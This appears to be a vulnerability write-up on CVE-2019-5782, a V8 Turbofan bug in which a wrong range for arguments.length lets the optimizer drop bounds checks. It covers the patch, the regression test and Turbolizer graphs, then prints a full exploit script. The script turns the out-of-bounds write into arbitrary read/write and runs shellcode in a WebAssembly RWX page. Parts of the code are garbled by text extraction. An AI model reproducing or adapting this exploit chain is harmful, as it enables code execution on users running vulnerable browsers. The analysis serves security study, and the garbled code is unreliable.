```
• <a href="https://chromium-review.googlesource.com/c/v8/v8/+/1363142">https://chromium-review.googlesource.com/c/v8/v8/+/1363142</a>
       CVE-2019-5782
                                 ⊙ ±
       3.1 KB
# Build
# verifier.cc
 1266
          case IrOpcode::kNewArgumentsElements:
             CheckValueInputIs(node, 0, Type::ExternalPointer());
 1267
             CheckValueInputIs(node, 1,
 1268
 1269
                               Type::Range(-Code::kMaxArguments,
 1270
                                    Code::kMaxArguments, zone));
                               //Type::Range(0.0, FixedArray::kMaxLength, zone));
 1271
# type-cache.cc
       //Type const kArgumentsLengthType = CreateRange(0.0, FixedArray::kMaxLength);
 171
       Type const kArgumentsLengthType = Type::Range(0.0, Code::kMaxArguments, zone());
 172
I just patch a few line of recent V8 source code.
Based on S0rryMyBad Twitter, this vulnerability is very similar to Math.expm1 case.
commit: b474b3102bd4a95eafcdb68e0e44656046132bc9
   Merged as deee0a8  1363142: Merged: [turbofan] Relax range for arguments object length
Q) What 'Relax' means for?

    Related with vulnerability, the problem is range boundary, So that may mean expanding the range boundary.

kMaxArguments are 65534, which is defined (1 << 16) - 2.
# PoC Analysis
# regress-crbug-906043.js
 // Copyright 2018 the V8 project authors. All rights reserved.
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 // Flags: --allow-natives-syntax
 function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  a2 = new Array(0x10);
  a2[0] = 1.1;
  a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff000000000
  a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a000000000
 var a1, a2;
 var a3 = [1.1, 2.2];
 a3.length = 0x11000;
 a3.fill(3.3);
 var a4 = [1.1];
 for (let i = 0; i < 3; i++) fun(...a4);
 %OptimizeFunctionOnNextCall(fun);
 fun(...a4);
 res = fun(...a3);
 assertEquals(16, a2.length);
 for (let i = 8; i < 32; i++) {
  assertEquals(undefined, a2[i]);
As similar to Math.expm1, x >> 16 is evaluated as 'false' at simplified-lowering phase.
We can do Out-Of-Bounds R/W via CheckBounds elimination.
So, why arguments.length is evaluated as false?
You can reference the regress-crbug-906043.js following link.

    https://chromium-review.googlesource.com/c/v8/v8/+/1363142/3/test/mjsunit/regress/regress-crbug-906043.js#25

a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a000000000
As i said, x >> 16 is important part of this vulnerability.
When you look at the code before, Typer propagte 65534 length value to other optimization phases.
Using this typer information, range analysis phases determine that arguments.length doesn't overflow 65534, so optimizer think
possible MAX INDEX is 65534.
Although x can be large than 65534, optimizer thinks x >> 16 is 0.
That causes simplified-lowerer to do CheckBounds elimination.
You can check what index values are evaluated at CheckBounds elimination phase by inserting some dump code like following one.
        void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
 1558
 1559
          CheckParameters const& p = CheckParametersOf(node->op());
 1560
          Type const index_type = TypeOf(node->InputAt(0));
          Type const length_type = TypeOf(node->InputAt(1));
 1561
 1562
          if (length_type.Is(Type::Unsigned31())) {
 1563
            if (index_type.Is(Type::Integral320rMinusZero())) {
               // Map -0 to 0, and the values in the [-2^31,-1] range to the
 1564
 1565
              // [2^31,2^32-1] range, which will be considered out-of-bounds
 1566
               // as well, because the {length_type} is limited to Unsigned31.
              VisitBinop(node, UseInfo::TruncatingWord32(),
 1567
                          MachineRepresentation::kWord32);
 1568
 1569
               if (lower()) {
                 if (lowering->poisoning_level_ ==
 1570
                         PoisoningMitigationLevel::kDontPoison &&
 1571
                     (index_type.IsNone() || length_type.IsNone() ||
 1572
                      (index_type.Min() >= 0.0 \&\&
 1573
 1574
                       index_type.Max() < length_type.Min()))) {</pre>
 1575
 1576
 1577
                   std::cout << "[-] index_type.Min() : " << index_type.Min() << std::endl;</pre>
                   std::cout << "[-] index_type.Max() : " << index_type.Max() << std::endl;</pre>
 1578
                   std::cout << "[-] length_type.Min() : " << length_type.Min() << std::endl;</pre>
 1579
                   // The bounds check is redundant if we already know that
 1580
                   // the index is within the bounds of [0.0, length[.
 1581
                   DeferReplacement(node, node->InputAt(0));
 1582
As we expected, false propagation makes index_type_Min/Max() 0.
 [-] TypeArgumentsLength was called
 [-] index_type.Min() : 0
 [-] index_type.Max() : 0
 [-] length_type.Min() : 16
 [-] index_type.Min() : 0
 [-] index_type.Max() : 0
 [-] length_type.Min(): 16
To find out how the optimizer is analyzing and optimizing, you need to use a variety of methods, such as using Turbolizer or inserting a
dump code.
Turbofan uses the concept of Sea-Of-Nodes, Graph-IL in the form of AST.
Turbolizer is a utility that makes it easier to analyze this Graph IL form and Turofan pipeline, so you need to set up the Turbolizer
environment before analyzing it.
In v8 directory, you can use following command line.
    cd tools/turbolizer
    npm i
    npm run-script build
    python -m SimpleHTTPServer
                                                                              0: Start
                                                                    18: JSStackCheck
96: NumberConstant[8.69169e-311]
                                     227: FinishRegion
                                                         145: CheckBounds
                                                                                148: StoreElement
                                                                  99: Return
                                                                   100: End
The above is the result of checking the turbolizer in the escape analysis phase, which shows that checkbounds exist.
Here's what we can check for this CheckBounds:
                                                                                              138: StoreField[+24]
                                                                       299: FrameState
       168: ArgumentsLength[1, not rest length]
                                                                              86: Checkpoint
                                      93: SpeculativeNumberShiftRight
                                27: NumberConstant[16]
                                                                                           94: NumberConstant[51]
             Start
 18: JSStackCheck
                                                         95: SpeculativeNumberMultiply
                          145: CheckBounds
16 >> x is calculated, and multiply constant value (51) to result value.
And final result value is input node of CheckBounds.
However, after the simplified-lowering phases, this CheckBounds Node will disappear as follows.
                                              306: Float64Constant[8.69169e-311]
         305: ChangeUint32ToUint64
                                                                                         86: Checkpoint
                       Start
                                      227: FinishRegion
     18: JSStackCheck
                                                .48: StoreElement
                99: Return
                   100: End
So, now there is no boundary check, so you can freely access OOB R / W.:)
Exploit itself is incredibly simple, since OOB R / W is available.
However, it is most important to know exactly what the cause of the bug is, rather than exploit itself, and how to analyze it.

    https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/

The above link covers Turbofan fairly well.
The approximate Turbofan pipeline is following one. (reference: https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/)
                                                                                            TypedNarrowingReducer (typing)
                                 Typing
                                                                                            ConstantFoldingReducer
                                                                  LoadEliminationPhase
             TyperPhase
                                                                                            TypedOptimization
                                  ConstantFoldingReducer
                                                                  EscapeAnalysisPhase
                                                                                            EscapeAnalysis
         TypedLoweringPhase
                                 TypedOptimization
          LoopPeelingPhase
                                                                                            SimplifiedLowering (typing)
                                                                 SimplifiedLoweringPhase
      LoopExitEliminationPhase
The binary number 65535 has a value of 16 bits with 0xffff.
However, the actual arguments.length can have a value greater than 0xffff, and the wrong assumption has occurred because the typer
has propagated the wrong length range.
 >>> len("100000000000000000")
 17
 >>> len("111111111111111")
 16
 >>> 0x1ffff >> 16
As a result, if a 16-bit shift from 0x10000 to 0x1ffff occurs, 1 will be output, so that you can access the desired position in 1 * index
form.
# Exploitation
Exploit is quite easy.
Since OOB R / W is freely available, adjust the unboxed double array's length property to allow another Out-Of-Bound R/W.
Then, based on this unboxed double array, you can extract the property values of various objects behind it, and you can freely modify
the backing_store of ArrayBuffer by placing ArrayBuffer after it.
Arbitrary read / write can be performed by modifying the backing_store of ArrayBuffer.
You can use ROP Payload, but the rwx page is created in the v8 process memory for the wasm function.
I wrote the code in this section to put the shellcode and run the arbitrary code.
# exploit.js
 function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
 let f64 = new Float64Array(1);
 let u32 = new Uint32Array(f64.buffer);
 function d2u(v) {
    f64[0] = v;
    return u32;
 function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64;
 }
 function hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "-00000000");
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    return ("0x" + hi.toString(16) + "-" + lo.toString(16));
 function view(array, lim) {
    for(let i = 0; i < lim; i++) {
        t = array[i];
        console.log("[" + i + "] : " + hex(d2u(t)[0], d2u(t)[1]));
    }
 }
 function fun(arg) {
    let x = arguments.length;
    a1 = new Array(0x10);
    a1[0] = 1.1;
    a2 = new Array(0x10);
    a2[0] = 1.1;
    victim = new Array(1.1, 2.2, 3.3, 4.4);
    // maybe x >> 16 -> false propagation -> checkbounds elimination
    //a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a000000000
    a1[(x >> 16) * 51] = 8.691694759794e-311; // victim array -> change length property to 0x1000
    //a1[(x >> 16) * 51] = u2d(0, 0x1000); // victim array -> change length property to 0x1000
 }
 let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1,
 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105,
 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
 let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
 let f = wasm_mod.exports._Z3addii;
 var a1, a2;
 var a3 = [1.1, 2.2];
 var victim = undefined;
 a3.length = 0x11000;
 a3.fill(3.3);
 gc();
 var a4 = [1.1];
 // propagate function arguments and optimization
 for (let i = 0; i < 100000; i++) {
    fun(...a4);
 res = fun(...a3);
 let leaked = [0xdada, 0xadad, f, {}, 1.1];
 let ab = new ArrayBuffer(0x50);
 let idx = 0;
 let wasm_idx = 0;
 for(let i = 0; i < 0x1000; i++) {
    value = d2u(victim[i]);
    if (value[1] === 0xdada) {
        t = d2u(victim[i + 1]);
        if (t[1] === 0xadad){
            wasm_idx = i + 2;
    }
    if (value[0] === 0x50) {
        idx = i;
        console.log("[-] find index : " + idx);
        break;
 }
 // change ArrayBuffer's byteLength property
 tt = u2d(0x2000, 0);
 eval(`victim[${idx}] = ${tt}`);
 //view(victim, 100);
 let wasm_obj_lo = d2u(victim[wasm_idx])[0];
 let wasm_obj_hi = d2u(victim[wasm_idx])[1];
 console.log("[-] wasm object : " + hex(wasm_obj_lo, wasm_obj_hi));
 tt = u2d(wasm_obj_lo - 1, wasm_obj_hi);
 eval(\dot x = 1] = {tt}^{3};
 let dv = new DataView(ab);
 lo = dv.getUint32(0x18, true);
 hi = dv.getUint32(0x18 + 4, true);
 tt = u2d(lo - 1 - 0xc0, hi);
 eval(`victim[${idx + 1}] = ${tt}`);
 rwx_lo = dv.getUint32(0, true);
 rwx_hi = dv.getUint32(4, true);
 console.log("[-] rwx page : " + hex(rwx_lo, rwx_hi));
 tt = u2d(rwx_lo, rwx_hi);
 eval(\dot x) = \{tt\}\);
 var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b];
 for(let i = 0; i < shellcode.length; i++) {</pre>
    dv.setUint32(i * 4, shellcode[i], true);
 }
 f(1, 2);
```

ref

https://chromium-review.googlesource.com/c/v8/v8/+/1363142/3/test/mjsunit/regress/regress-crbug-906043.js